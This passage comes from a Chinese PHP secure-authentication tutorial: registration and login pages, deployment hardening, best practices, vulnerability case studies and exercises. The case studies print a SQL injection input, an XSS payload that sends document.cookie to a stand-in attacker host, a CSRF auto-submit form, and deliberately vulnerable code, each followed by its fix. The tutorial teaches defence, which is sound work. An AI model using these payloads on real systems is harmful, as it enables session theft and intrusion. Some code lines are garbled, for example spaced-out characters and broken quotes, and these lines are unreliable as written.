                                                                                          <div class="requirement invalid" id="req-uppercase">包含大写字母</div>
                                                                                            <div class="requirement invalid" id="req-lowercase">包含小写字母</div>
                                                                                              <div class="requirement invalid" id="req-number">包含数字</div>
                                                                                                <div class="requirement invalid" id="req-special">包含特殊字符</div>
                                                                                                  </div>
                                                                                                    </div>
                                                                                                      <div class="form-group">
                                                                                                        <label for="confirm_password">确认密码</label>
                                                                                                          <input type="password" id="confirm_password" name="confirm_password" required>
                                                                                                            <div class="requirements">
                                                                                                              <div class="requirement invalid" id="req-match">密码匹配</div>
                                                                                                                </div>
                                                                                                                  </div>
                                                                                                                    <button type="submit" class="btn">注册</button>
                                                                                                                      </form>
                                                                                                                        <div class="login-link">
                                                                                                                          已有账号?<a href="login.php">立即登录</a>
                                                                                                                            </div>
                                                                                                                              </div>
                                                                                                                                <script>
                                                                                                                                  // 密码强度实时检查
                                                                                                                                  const passwordInput = document.getElementById('password');
                                                                                                                                  const confirmInput = document.getElementById('confirm_password');
                                                                                                                                  const strengthMeter = document.getElementById('passwordStrength');
                                                                                                                                  const requirements = {
                                                                                                                                  length: document.getElementById('req-length'),
                                                                                                                                  uppercase: document.getElementById('req-uppercase'),
                                                                                                                                  lowercase: document.getElementById('req-lowercase'),
                                                                                                                                  number: document.getElementById('req-number'),
                                                                                                                                  special: document.getElementById('req-special'),
                                                                                                                                  match: document.getElementById('req-match'),
                                                                                                                                  usernameLength: document.getElementById('req-username-length'),
                                                                                                                                  usernameChars: document.getElementById('req-username-chars'),
                                                                                                                                  emailValid: document.getElementById('req-email-valid')
                                                                                                                                  };
                                                                                                                                  function checkPasswordStrength(password) {
                                                                                                                                  let strength = 0;
                                                                                                                                  // 长度检查
                                                                                                                                  if (password.length >= 8) {
                                                                                                                                  strength += 20;
                                                                                                                                  requirements.length.classList.add('valid');
                                                                                                                                  requirements.length.classList.remove('invalid');
                                                                                                                                  } else {
                                                                                                                                  requirements.length.classList.remove('valid');
                                                                                                                                  requirements.length.classList.add('invalid');
                                                                                                                                  }
                                                                                                                                  // 大写字母检查
                                                                                                                                  if (/[A-Z]/.test(password)) {
                                                                                                                                  strength += 20;
                                                                                                                                  requirements.uppercase.classList.add('valid');
                                                                                                                                  requirements.uppercase.classList.remove('invalid');
                                                                                                                                  } else {
                                                                                                                                  requirements.uppercase.classList.remove('valid');
                                                                                                                                  requirements.uppercase.classList.add('invalid');
                                                                                                                                  }
                                                                                                                                  // 小写字母检查
                                                                                                                                  if (/[a-z]/.test(password)) {
                                                                                                                                  strength += 20;
                                                                                                                                  requirements.lowercase.classList.add('valid');
                                                                                                                                  requirements.lowercase.classList.remove('invalid');
                                                                                                                                  } else {
                                                                                                                                  requirements.lowercase.classList.remove('valid');
                                                                                                                                  requirements.lowercase.classList.add('invalid');
                                                                                                                                  }
                                                                                                                                  // 数字检查
                                                                                                                                  if (/[0-9]/.test(password)) {
                                                                                                                                  strength += 20;
                                                                                                                                  requirements.number.classList.add('valid');
                                                                                                                                  requirements.number.classList.remove('invalid');
                                                                                                                                  } else {
                                                                                                                                  requirements.number.classList.remove('valid');
                                                                                                                                  requirements.number.classList.add('invalid');
                                                                                                                                  }
                                                                                                                                  // 特殊字符检查
                                                                                                                                  if (/[^A-Za-z0-9]/.test(password)) {
                                                                                                                                  strength += 20;
                                                                                                                                  requirements.special.classList.add('valid');
                                                                                                                                  requirements.special.classList.remove('invalid');
                                                                                                                                  } else {
                                                                                                                                  requirements.special.classList.remove('valid');
                                                                                                                                  requirements.special.classList.add('invalid');
                                                                                                                                  }
                                                                                                                                  // 更新强度条
                                                                                                                                  strengthMeter.className = 'strength-meter';
                                                                                                                                  if (strength >= 80) {
                                                                                                                                  strengthMeter.classList.add('strength-strong');
                                                                                                                                  } else if (strength >= 60) {
                                                                                                                                  strengthMeter.classList.add('strength-medium');
                                                                                                                                  } else if (strength > 0) {
                                                                                                                                  strengthMeter.classList.add('strength-weak');
                                                                                                                                  }
                                                                                                                                  return strength;
                                                                                                                                  }
                                                                                                                                  function checkPasswordMatch() {
                                                                                                                                  const password = passwordInput.value;
                                                                                                                                  const confirm = confirmInput.value;
                                                                                                                                  if (password && confirm) {
                                                                                                                                  if (password === confirm) {
                                                                                                                                  requirements.match.classList.add('valid');
                                                                                                                                  requirements.match.classList.remove('invalid');
                                                                                                                                  return true;
                                                                                                                                  } else {
                                                                                                                                  requirements.match.classList.remove('valid');
                                                                                                                                  requirements.match.classList.add('invalid');
                                                                                                                                  return false;
                                                                                                                                  }
                                                                                                                                  }
                                                                                                                                  return false;
                                                                                                                                  }
                                                                                                                                  function checkUsername() {
                                                                                                                                  const username = document.getElementById('username').value;
                                                                                                                                  // 长度检查
                                                                                                                                  if (username.length >= 3 && username.length <= 20) {
                                                                                                                                  requirements.usernameLength.classList.add('valid');
                                                                                                                                  requirements.usernameLength.classList.remove('invalid');
                                                                                                                                  } else {
                                                                                                                                  requirements.usernameLength.classList.remove('valid');
                                                                                                                                  requirements.usernameLength.classList.add('invalid');
                                                                                                                                  }
                                                                                                                                  // 字符检查
                                                                                                                                  if (/^[a-zA-Z0-9_]+$/.test(username)) {
                                                                                                                                  requirements.usernameChars.classList.add('valid');
                                                                                                                                  requirements.usernameChars.classList.remove('invalid');
                                                                                                                                  } else {
                                                                                                                                  requirements.usernameChars.classList.remove('valid');
                                                                                                                                  requirements.usernameChars.classList.add('invalid');
                                                                                                                                  }
                                                                                                                                  }
                                                                                                                                  function checkEmail() {
                                                                                                                                  const email = document.getElementById('email').value;
                                                                                                                                  const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
                                                                                                                                  if (emailRegex.test(email)) {
                                                                                                                                  requirements.emailValid.classList.add('valid');
                                                                                                                                  requirements.emailValid.classList.remove('invalid');
                                                                                                                                  return true;
                                                                                                                                  } else {
                                                                                                                                  requirements.emailValid.classList.remove('valid');
                                                                                                                                  requirements.emailValid.classList.add('invalid');
                                                                                                                                  return false;
                                                                                                                                  }
                                                                                                                                  }
                                                                                                                                  // 事件监听
                                                                                                                                  passwordInput.addEventListener('input', function() {
                                                                                                                                  checkPasswordStrength(this.value);
                                                                                                                                  checkPasswordMatch();
                                                                                                                                  });
                                                                                                                                  confirmInput.addEventListener('input', checkPasswordMatch);
                                                                                                                                  document.getElementById('username').addEventListener('input', checkUsername);
                                                                                                                                  document.getElementById('email').addEventListener('input', checkEmail);
                                                                                                                                  // 表单提交前验证
                                                                                                                                  document.getElementById('registerForm').addEventListener('submit', function(e) {
                                                                                                                                  const password = passwordInput.value;
                                                                                                                                  const strength = checkPasswordStrength(password);
                                                                                                                                  const isMatch = checkPasswordMatch();
                                                                                                                                  const isUsernameValid = document.getElementById('req-username-length').classList.contains('valid') &&
                                                                                                                                  document.getElementById('req-username-chars').classList.contains('valid');
                                                                                                                                  const isEmailValid = checkEmail();
                                                                                                                                  if (strength < 60) {
                                                                                                                                  e.preventDefault();
                                                                                                                                  alert('密码强度不足,请按照要求设置密码');
                                                                                                                                  return false;
                                                                                                                                  }
                                                                                                                                  if (!isMatch) {
                                                                                                                                  e.preventDefault();
                                                                                                                                  alert('两次输入的密码不一致');
                                                                                                                                  return false;
                                                                                                                                  }
                                                                                                                                  if (!isUsernameValid) {
                                                                                                                                  e.preventDefault();
                                                                                                                                  alert('用户名不符合要求');
                                                                                                                                  return false;
                                                                                                                                  }
                                                                                                                                  if (!isEmailValid) {
                                                                                                                                  e.preventDefault();
                                                                                                                                  alert('请输入有效的邮箱地址');
                                                                                                                                  return false;
                                                                                                                                  }
                                                                                                                                  });
                                                                                                                                  // 初始检查
                                                                                                                                  checkUsername();
                                                                                                                                  checkEmail();
                                                                                                                                  </script>
                                                                                                                                    </body>
                                                                                                                                      </html>
步骤5:登录页面实现
<?php
// File: login.php
require_once 'includes/Security/CoreSecurity.php';
require_once 'includes/Security/AuthManager.php';
// 初始化
session_start();
$db = new PDO('mysql:host=localhost;dbname=secure_auth;charset=utf8mb4', 'root', '');
$security = new CoreSecurity($db);
$auth = new AuthManager($db, $security);
// 设置安全头
$security->setSecurityHeaders();
// 如果已登录,重定向到首页
if (isset($_COOKIE['session_token'])) {
$sessionValid = $auth->validateSession($_COOKIE['session_token']);
if ($sessionValid) {
header('Location: dashboard.php');
exit;
}
}
// 处理登录请求
$message = '';
$success = false;
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// 验证CSRF令牌
if (!$security->validateCsrfToken($_POST['csrf_token'] ?? '', 'login')) {
$message = '安全令牌验证失败,请刷新页面重试';
} else {
// 获取并清理输入
$username = $security->sanitizeInput($_POST['username'] ?? '', 'html');
$password = $_POST['password'] ?? '';
$rememberMe = isset($_POST['remember_me']);
// 执行登录
$result = $auth->login($username, $password, $rememberMe);
if ($result['success']) {
if ($result['requires_2fa']) {
// 需要双因素认证,跳转到2FA页面
$_SESSION['temp_user'] = $result['user'];
$_SESSION['temp_session'] = $result['session'];
header('Location: twofactor.php');
exit;
} else {
// 登录成功,跳转到仪表板
header('Location: dashboard.php');
exit;
}
} else {
$message = $result['message'];
}
}
}
// 生成CSRF令牌
$csrfToken = $security->generateCsrfToken('login');
?>
<!DOCTYPE html>
  <html lang="zh-CN">
    <head>
      <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
          <title>用户登录 - 安全认证系统</title>
            <style>
              body {
              font-family: Arial, sans-serif;
              background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
              margin: 0;
              padding: 20px;
              min-height: 100vh;
              display: flex;
              align-items: center;
              justify-content: center;
              }
              .container {
              width: 100%;
              max-width: 400px;
              }
              .login-card {
              background: white;
              padding: 40px;
              border-radius: 10px;
              box-shadow: 0 15px 35px rgba(0,0,0,0.2);
              }
              h1 {
              text-align: center;
              color: #333;
              margin-bottom: 30px;
              font-size: 28px;
              }
              .form-group {
              margin-bottom: 25px;
              position: relative;
              }
              label {
              display: block;
              margin-bottom: 8px;
              color: #555;
              font-weight: 600;
              }
              input[type="text"],
              input[type="password"] {
              width: 100%;
              padding: 12px 15px;
              border: 2px solid #e0e0e0;
              border-radius: 6px;
              box-sizing: border-box;
              font-size: 16px;
              transition: border-color 0.3s;
              }
              input:focus {
              outline: none;
              border-color: #667eea;
              }
              .remember-me {
              display: flex;
              align-items: center;
              margin-bottom: 25px;
              }
              .remember-me input {
              margin-right: 10px;
              }
              .remember-me label {
              margin-bottom: 0;
              cursor: pointer;
              }
              .btn {
              width: 100%;
              padding: 14px;
              background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
              color: white;
              border: none;
              border-radius: 6px;
              cursor: pointer;
              font-size: 16px;
              font-weight: 600;
              transition: transform 0.3s, box-shadow 0.3s;
              }
              .btn:hover {
              transform: translateY(-2px);
              box-shadow: 0 5px 15px rgba(102, 126, 234, 0.4);
              }
              .btn:active {
              transform: translateY(0);
              }
              .message {
              padding: 15px;
              border-radius: 6px;
              margin-bottom: 25px;
              text-align: center;
              animation: slideDown 0.3s ease;
              }
              @keyframes slideDown {
              from {
              opacity: 0;
              transform: translateY(-20px);
              }
              to {
              opacity: 1;
              transform: translateY(0);
              }
              }
              .message.success {
              background-color: #d4edda;
              color: #155724;
              border: 1px solid #c3e6cb;
              }
              .message.error {
              background-color: #f8d7da;
              color: #721c24;
              border: 1px solid #f5c6cb;
              }
              .message.warning {
              background-color: #fff3cd;
              color: #856404;
              border: 1px solid #ffeaa7;
              }
              .links {
              display: flex;
              justify-content: space-between;
              margin-top: 25px;
              padding-top: 25px;
              border-top: 1px solid #eee;
              }
              .links a {
              color: #667eea;
              text-decoration: none;
              font-size: 14px;
              }
              .links a:hover {
              text-decoration: underline;
              }
              .security-tips {
              background: #f8f9fa;
              padding: 15px;
              border-radius: 6px;
              margin-top: 25px;
              font-size: 13px;
              color: #666;
              }
              .security-tips h3 {
              margin-top: 0;
              color: #333;
              font-size: 14px;
              }
              .security-tips ul {
              margin: 10px 0;
              padding-left: 20px;
              }
              .security-tips li {
              margin-bottom: 5px;
              }
              .attempts-warning {
              background: #fff3cd;
              padding: 10px;
              border-radius: 6px;
              margin-bottom: 20px;
              font-size: 14px;
              color: #856404;
              text-align: center;
              }
              </style>
                </head>
                  <body>
                    <div class="container">
                      <div class="login-card">
                        <h1>用户登录</h1>
                          <?php
                          // 显示登录尝试警告
                          if (isset($_POST['username'])) {
                          $username = $security->sanitizeInput($_POST['username'], 'html');
                          if ($security->checkBruteForce($username)) {
                        echo '<div class="attempts-warning">⚠️ 检测到多次登录失败,账户已被临时锁定</div>';
                          }
                          }
                          if ($message): ?>
                          <div class="message <?php echo $success ? 'success' : 'error'; ?>">
                            <?php echo htmlspecialchars($message); ?>
                              </div>
                                <?php endif; ?>
                                  <form method="POST" id="loginForm">
                                    <input type="hidden" name="csrf_token" value="<?php echo htmlspecialchars($csrfToken); ?>">
                                      <div class="form-group">
                                        <label for="username">用户名或邮箱</label>
                                          <input type="text" id="username" name="username" required
                                          value="<?php echo isset($_POST['username']) ? htmlspecialchars($_POST['username']) : ''; ?>">
                                            </div>
                                              <div class="form-group">
                                                <label for="password">密码</label>
                                                  <input type="password" id="password" name="password" required>
                                                    </div>
                                                      <div class="remember-me">
                                                        <input type="checkbox" id="remember_me" name="remember_me" value="1">
                                                          <label for="remember_me">记住登录状态</label>
                                                            </div>
                                                              <button type="submit" class="btn">登录</button>
                                                                </form>
                                                                  <div class="links">
                                                                    <a href="register.php">注册新账号</a>
                                                                      <a href="forgot_password.php">忘记密码?</a>
                                                                        </div>
                                                                          <div class="security-tips">
                                                                            <h3> 安全提示:</h3>
                                                                              <ul>
                                                                                <li>不要在公共计算机上选择"记住登录状态"</li>
                                                                                  <li>定期更换密码,确保密码强度</li>
                                                                                    <li>检查网址是否为HTTPS开头</li>
                                                                                      <li>不要在不明网站上使用相同密码</li>
                                                                                        </ul>
                                                                                          </div>
                                                                                            </div>
                                                                                              </div>
                                                                                                <script>
                                                                                                  // 防止表单重复提交
                                                                                                  let formSubmitted = false;
                                                                                                  document.getElementById('loginForm').addEventListener('submit', function(e) {
                                                                                                  if (formSubmitted) {
                                                                                                  e.preventDefault();
                                                                                                  return false;
                                                                                                  }
                                                                                                  formSubmitted = true;
                                                                                                  // 禁用提交按钮
                                                                                                  const submitBtn = this.querySelector('button[type="submit"]');
                                                                                                  submitBtn.disabled = true;
                                                                                                  submitBtn.textContent = '登录中...';
                                                                                                  return true;
                                                                                                  });
                                                                                                  // 回车键提交
                                                                                                  document.addEventListener('keydown', function(e) {
                                                                                                  if (e.key === 'Enter' && !e.target.matches('textarea, input[type="text"]')) {
                                                                                                  const activeElement = document.activeElement;
                                                                                                  if (activeElement.matches('input[type="text"], input[type="password"]')) {
                                                                                                  document.getElementById('loginForm').submit();
                                                                                                  }
                                                                                                  }
                                                                                                  });
                                                                                                  // 自动聚焦到用户名输入框
                                                                                                  document.getElementById('username').focus();
                                                                                                  </script>
                                                                                                    </body>
                                                                                                      </html>

项目测试和部署指南

测试步骤
  1. 单元测试
// tests/SecurityTest.php
class SecurityTest extends PHPUnit\Framework\TestCase {
public function testPasswordHash() {
$password = 'Test123!';
$hash = password_hash($password, PASSWORD_DEFAULT);
$this->assertTrue(password_verify($password, $hash));
}
public function testCSRFTokenValidation() {
$security = new CoreSecurity(new PDO('sqlite::memory:'));
$token = $security->generateCsrfToken('test');
$this->assertTrue($security->validateCsrfToken($token, 'test'));
$this->assertFalse($security->validateCsrfToken('invalid', 'test'));
}
}
  1. 安全测试
  • 使用OWASP ZAP进行漏洞扫描
  • 测试SQL注入防护
  • 测试XSS防护
  • 测试CSRF防护
  • 测试暴力破解防护
  1. 功能测试
  • 用户注册流程
  • 登录流程(正常和失败情况)
  • 密码重置流程
  • 会话管理测试
  • 并发访问测试
部署指南
  1. 服务器配置
   # .htaccess 安全配置
# 强制HTTPS
   RewriteEngine On
   RewriteCond %{HTTPS} off
   RewriteRule ^(.*)$ https:// %{HTTP_HOST}%{REQUEST_URI} [L,R=301]
   # 安全头
Header always set Content-Security-Policy "default-src 'self'"
   Header always set X-Content-Type-Options "nosniff"
   Header always set X-Frame-Options "DENY"
   Header always set X-XSS-Protection "1; mode=block"
   # 防止目录浏览
Options -Indexes
   # 保护敏感文件

       Order Allow,Deny
       Deny from all
   
  1. PHP配置
   ; php.ini 安全配置
expose_php = Off
   display_errors = Off
   log_errors = On
   error_log = /var/log/php_errors.log
   session.cookie_secure = 1
   session.cookie_httponly = 1
   session.cookie_samesite = Strict
   session.use_strict_mode = 1
   session.use_only_cookies = 1
   session.gc_maxlifetime = 1800
   allow_url_fopen = Off
   allow_url_include = Off
  1. 数据库配置
-- 创建专用数据库用户
CREATE USER 'secure_auth_user'@'localhost' IDENTIFIED BY '强密码';
GRANT SELECT, INSERT, UPDATE, DELETE ON secure_auth.* TO 'secure_auth_user'@'localhost';
FLUSH PRIVILEGES;

项目扩展和优化建议

扩展功能
  1. 双因素认证(2FA)
    class TwoFactorAuth {
    public function generateSecret() {
    return random_bytes(20); // 生成20字节的密钥

}

   public function getQRCodeUrl($secret, $username, $issuer) {
       // 生成Google Authenticator兼容的OTP URL
   }
   public function verifyCode($secret, $code) {
       // 验证TOTP代码

}
}

2. **登录审计功能**
```php
class LoginAudit {
    public function logLoginAttempt($userId, $success, $metadata) {
        // 记录详细的登录信息
}
    public function getSuspiciousActivities($userId) {
        // 检测可疑登录行为
}
}
  1. 密码策略管理
    class PasswordPolicy {
    private $rules = [
    'min_length' => 12,
    'require_mixed_case' => true,
    'require_numbers' => true,
    'require_special_chars' => true,
    'prevent_reuse' => true,
    'max_age_days' => 90
    ];
    public function enforcePolicy($userId, $newPassword) {
    // 执行密码策略

}
}

#### 性能优化
1. **会话存储优化**:使用Redis存储Session
2. **数据库优化**:添加适当的索引,使用查询缓存
3. **缓存策略**:对频繁访问的数据进行缓存
4. **CDN集成**:静态资源使用CDN加速
#### 安全优化
1. **Web应用防火墙(WAF)**:集成ModSecurity
2. **DDoS防护**:实施速率限制
3. **安全监控**:集成SIEM系统
4. **定期安全审计**:定期进行代码安全审查
## 最佳实践
### 1. 会话安全最佳实践
#### 会话配置
```php
// 安全的Session配置
ini_set('session.cookie_secure', 1);      // 仅HTTPS
ini_set('session.cookie_httponly', 1);    // 防止JS访问
ini_set('session.cookie_samesite', 'Strict'); // 防止CSRF
ini_set('session.use_strict_mode', 1);    // 只接受服务器生成的Session ID
ini_set('session.use_only_cookies', 1);   // 只使用Cookie传递Session ID
ini_set('session.gc_maxlifetime', 1800);  // 30分钟过期
ini_set('session.gc_probability', 1);     // 垃圾回收概率
ini_set('session.gc_divisor', 100);       // 每100个请求回收一次
会话管理
  1. 会话固定防护:登录成功后重新生成Session ID

    session_regenerate_id(true);
  2. 会话劫持检测:验证IP和User-Agent

    if ($_SESSION['ip_address'] !== $_SERVER['REMOTE_ADDR'] ||
    $_SESSION['user_agent'] !== $_SERVER['HTTP_USER_AGENT']) {
    // 可疑活动,销毁会话

session_destroy();
header(‘Location: login.php?reason=hijack’);
exit;
}

3. **会话过期处理**:实现滑动过期和绝对过期
```php
// 滑动过期:每次活动延长过期时间
$_SESSION['last_activity'] = time();
// 绝对过期:无论是否活动,固定时间后过期
if (isset($_SESSION['created']) && (time() - $_SESSION['created']) > 3600) {
    session_destroy();
    header('Location: login.php?reason=timeout');
    exit;
}

2. 密码安全最佳实践

存储策略
  1. 使用Argon2id算法(PHP 7.2+)
$hash = password_hash($password, PASSWORD_ARGON2ID, [
'memory_cost' => 65536,   // 64MB
'time_cost' => 4,         // 迭代次数
'threads' => 3            // 线程数
]);
  1. 密码策略实施
    class PasswordValidator {
    public static function validate($password) {
    $errors = [];
    // 长度检查

if (strlen($password) < 12) {
$errors[] = ‘密码至少12个字符’;
}

// 复杂性检查

if (!preg_match(‘/[a-z]/’, $password)) {
$errors[] = ‘需要小写字母’;
}
if (!preg_match(‘/[A-Z]/’, $password)) {
$errors[] = ‘需要大写字母’;
}
if (!preg_match(‘/[0-9]/’, $password)) {
$errors[] = ‘需要数字’;
}
if (!preg_match(‘/[^A-Za-z0-9]/’, $password)) {
$errors[] = ‘需要特殊字符’;
}

// 常见密码检查

c o m m o n = f i l e ( ′ c o m m o n − p a s s w o r d s . t x t ′ , F I L E I G N O R E N E W L I N E S ) ; i f ( i n a r r a y ( common = file('common-passwords.txt', FILE_IGNORE_NEW_LINES); if (in_array( common=file(commonpasswords.txt,FILEIGNORENEWLINES);if(inarray(password, $common)) {
$errors[] = ‘密码过于常见’;
}

// 模式检查

if (preg_match(‘/(.)\1{2,}/’, $password)) {
$errors[] = ‘不能有重复字符’;
}

       // 序列检查(如123, abc)

if (preg_match(‘/(?:abc|bcd|cde|def|efg|fgh|ghi|hij|ijk|jkl|klm|lmn|mno|nop|opq|pqr|qrs|rst|stu|tuv|uvw|vwx|wxy|xyz)/i’, $password) ||
preg_match(‘/(?:012|123|234|345|456|567|678|789|890)/’, $password)) {
$errors[] = ‘不能包含连续字符或数字’;
}

       return $errors;
   }

}

3. **密码历史记录**:防止密码重用
```sql
CREATE TABLE password_history (
    id INT PRIMARY KEY AUTO_INCREMENT,
    user_id INT NOT NULL,
    password_hash VARCHAR(255) NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE
);

3. Web安全防护综合方案

输入验证和过滤
class InputValidator {
// 白名单验证
public static function validateEmail($email) {
return filter_var($email, FILTER_VALIDATE_EMAIL) !== false;
}
public static function validateUrl($url) {
return filter_var($url, FILTER_VALIDATE_URL) !== false;
}
public static function validateInteger($value, $min = null, $max = null) {
$options = [];
if ($min !== null) $options['min_range'] = $min;
if ($max !== null) $options['max_range'] = $max;
return filter_var($value, FILTER_VALIDATE_INT, ['options' => $options]) !== false;
}
// 黑名单过滤
public static function removeMaliciousCode($input) {
$patterns = [
// 移除脚本标签
'/<script\b[^>]*>(.*?)<\/script>/is',
  // 移除危险的HTML属性
  '/\bon\w+\s*=/i',
  // 移除JavaScript伪协议
  '/javascript:/i',
  // 移除VBScript伪协议
  '/vbscript:/i',
  // 移除数据URI
  '/data:/i',
  ];
  return preg_replace($patterns, '', $input);
  }
  // 上下文相关的输出编码
  public static function encodeForContext($input, $context) {
  switch ($context) {
  case 'html':
  return htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, 'UTF-8');
  case 'html_attribute':
  return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
  case 'javascript':
  return json_encode($input, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
  case 'css':
  // CSS编码
  $input = preg_replace('/[<>]/', '', $input);
  return preg_replace_callback('/[^a-zA-Z0-9]/', function($matches) {
  return '\\' . bin2hex($matches[0]);
  }, $input);
  case 'url':
  return urlencode($input);
  default:
  return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
  }
  }
  }
安全头配置
class SecurityHeaders {
public static function setAll() {
// CSP - 内容安全策略
self::setCSP();
// HSTS - HTTP严格传输安全
self::setHSTS();
// 其他安全头
header('X-Content-Type-Options: nosniff');
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block');
header('Referrer-Policy: strict-origin-when-cross-origin');
header('Permissions-Policy: geolocation=(), microphone=(), camera=()');
}
private static function setCSP() {
$directives = [
"default-src 'self'",
"script-src 'self' 'unsafe-inline' https:// trusted.cdn.com",
"style-src 'self' 'unsafe-inline'",
"img-src 'self' data: https:",
"font-src 'self'",
"connect-src 'self'",
"media-src 'self'",
"object-src 'none'",
"child-src 'self'",
"frame-ancestors 'none'",
"form-action 'self'",
"base-uri 'self'",
"manifest-src 'self'"
];
header("Content-Security-Policy: " . implode('; ', $directives));
}
private static function setHSTS() {
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') {
header('Strict-Transport-Security: max-age=31536000; includeSubDomains; preload');
}
}
}

4. 常见安全漏洞案例与防护

案例1:SQL注入攻击

攻击代码

// 漏洞代码
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id";
$result = mysqli_query($conn, $sql);
// 攻击者可以输入:1 OR 1=1
// 最终SQL:SELECT * FROM users WHERE id = 1 OR 1=1

防护方案

// 使用预处理语句
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);
$user = $stmt->fetch();
// 或者使用命名参数
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute([':id' => $id]);
$user = $stmt->fetch();
案例2:反射型XSS攻击

攻击代码

// 漏洞代码
echo "搜索结果: " . $_GET['q'];
// 攻击者可以输入:<script>alert('XSS')</script>
// 或更危险的:<script>fetch('http://attacker.com/?cookie='+document.cookie)</script>

防护方案

// 输出编码
$searchTerm = $_GET['q'] ?? '';
echo "搜索结果: " . htmlspecialchars($searchTerm, ENT_QUOTES, 'UTF-8');
// 或者使用上下文编码
function escapeOutput($input, $context = 'html') {
switch ($context) {
case 'html':
return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
case 'attribute':
return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
case 'javascript':
return json_encode($input, JSON_HEX_TAG | JSON_HEX_AMP);
default:
return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
}
}
案例3:CSRF攻击

攻击场景

<!-- 攻击者网站上的恶意表单 -->
    <form action="https:// victim.com/transfer" method="POST" id="malicious">
      <input type="hidden" name="amount" value="10000">
        <input type="hidden" name="to_account" value="attacker">
      </form>
    <script>document.getElementById('malicious').submit();</script>

防护方案

// 生成CSRF令牌
function generateCsrfToken() {
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
return $_SESSION['csrf_token'];
}
// 验证CSRF令牌
function validateCsrfToken($token) {
return isset($_SESSION['csrf_token']) &&
hash_equals($_SESSION['csrf_token'], $token);
}
// 在表单中使用
echo '<input type="hidden" name="csrf_token" value="' . generateCsrfToken() . '">';
案例4:会话固定攻击

攻击过程

  1. 攻击者获取一个有效的Session ID
  2. 诱使用户使用这个Session ID登录
  3. 用户登录后,攻击者也能访问用户会话
    防护方案
// 登录成功后重新生成Session ID
session_regenerate_id(true);
// 销毁旧Session数据
$_SESSION = [];
// 设置新的Session数据
$_SESSION['user_id'] = $userId;
$_SESSION['ip_address'] = $_SERVER['REMOTE_ADDR'];
$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
$_SESSION['created'] = time();
案例5:不安全的直接对象引用(IDOR)

漏洞代码

// 用户可以直接修改URL参数访问其他用户数据
$userId = $_GET['user_id']; // 攻击者可以改成其他用户的ID
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$userId]);

防护方案

// 检查权限
$currentUserId = $_SESSION['user_id'];
$requestedUserId = $_GET['user_id'];
if ($currentUserId != $requestedUserId && !isAdmin($currentUserId)) {
// 没有权限访问其他用户数据
header('HTTP/1.0 403 Forbidden');
exit('Access denied');
}
// 或者在查询中加入权限检查
$stmt = $pdo->prepare("
SELECT * FROM users
WHERE id = ?
AND (id = ? OR ? IN (SELECT user_id FROM admins))
");
$stmt->execute([$requestedUserId, $currentUserId, $currentUserId]);

5. 安全开发流程建议

  1. 安全需求分析
  • 识别敏感数据和处理流程
  • 定义安全需求和合规要求
  • 制定数据分类和访问控制策略
  1. 安全设计
  • 采用最小权限原则
  • 实施深度防御策略
  • 设计安全的错误处理机制
  • 规划安全审计和日志记录
  1. 安全编码
  • 遵循安全编码规范
  • 使用安全的API和函数
  • 避免使用已弃用的函数
  • 定期进行代码安全审查
  1. 安全测试
  • 单元测试包含安全测试用例
  • 进行渗透测试和漏洞扫描
  • 模拟真实攻击场景测试
  • 定期进行安全审计
  1. 安全部署和运维
  • 实施安全配置管理
  • 定期更新和打补丁
  • 监控安全事件和异常
  • 制定应急响应计划

练习题与挑战

基础练习题

练习1:理解Session和Cookie的区别

题目

  1. 解释Session和Cookie在存储位置、安全性、数据大小限制方面的主要区别
  2. 在什么情况下应该使用Session?在什么情况下应该使用Cookie?
  3. 编写一个PHP脚本,演示如何同时使用Session和Cookie来记住用户的主题偏好
    难度等级:★☆☆☆☆(基础)
    解题提示
  • Session数据存储在服务器端,Cookie存储在客户端
  • Session更适合存储敏感信息,Cookie适合存储非敏感的用户偏好
  • 考虑数据大小限制:Cookie每个4KB,Session受服务器内存限制
    参考答案
<?php
session_start();
// 使用Session存储登录状态
if (!isset($_SESSION['theme'])) {
$_SESSION['theme'] = 'light'; // 默认主题
}
// 使用Cookie记住用户偏好
if (isset($_POST['theme'])) {
$theme = $_POST['theme'];
$_SESSION['theme'] = $theme;
setcookie('user_theme', $theme, time() + 86400 * 30, '/', '', true, true);
} elseif (isset($_COOKIE['user_theme'])) {
$_SESSION['theme'] = $_COOKIE['user_theme'];
}
// 应用主题
$currentTheme = $_SESSION['theme'];
?>
<!DOCTYPE html>
  <html>
    <head>
      <style>
        .light { background: white; color: black; }
        .dark { background: #333; color: white; }
        </style>
          </head>
            <body class="<?php echo htmlspecialchars($currentTheme); ?>">
              <h1>当前主题: <?php echo htmlspecialchars($currentTheme); ?></h1>
                <form method="POST">
                  <button name="theme" value="light">亮色主题</button>
                    <button name="theme" value="dark">暗色主题</button>
                      </form>
                        </body>
                          </html>
练习2:实现基本的XSS防护

题目

  1. 创建一个简单的评论系统,包含评论表单和显示功能
  2. 演示如果不进行防护,XSS攻击如何发生
  3. 使用htmlspecialchars()函数防护XSS攻击
  4. 扩展功能:允许一些安全的HTML标签(如<b>, <i>, <a>
    难度等级:★★☆☆☆(基础)
    解题提示
  • 使用strip_tags()函数可以指定允许的HTML标签
  • 对于链接,需要验证URL是否安全
  • 考虑使用HTML净化库处理复杂情况
    参考答案
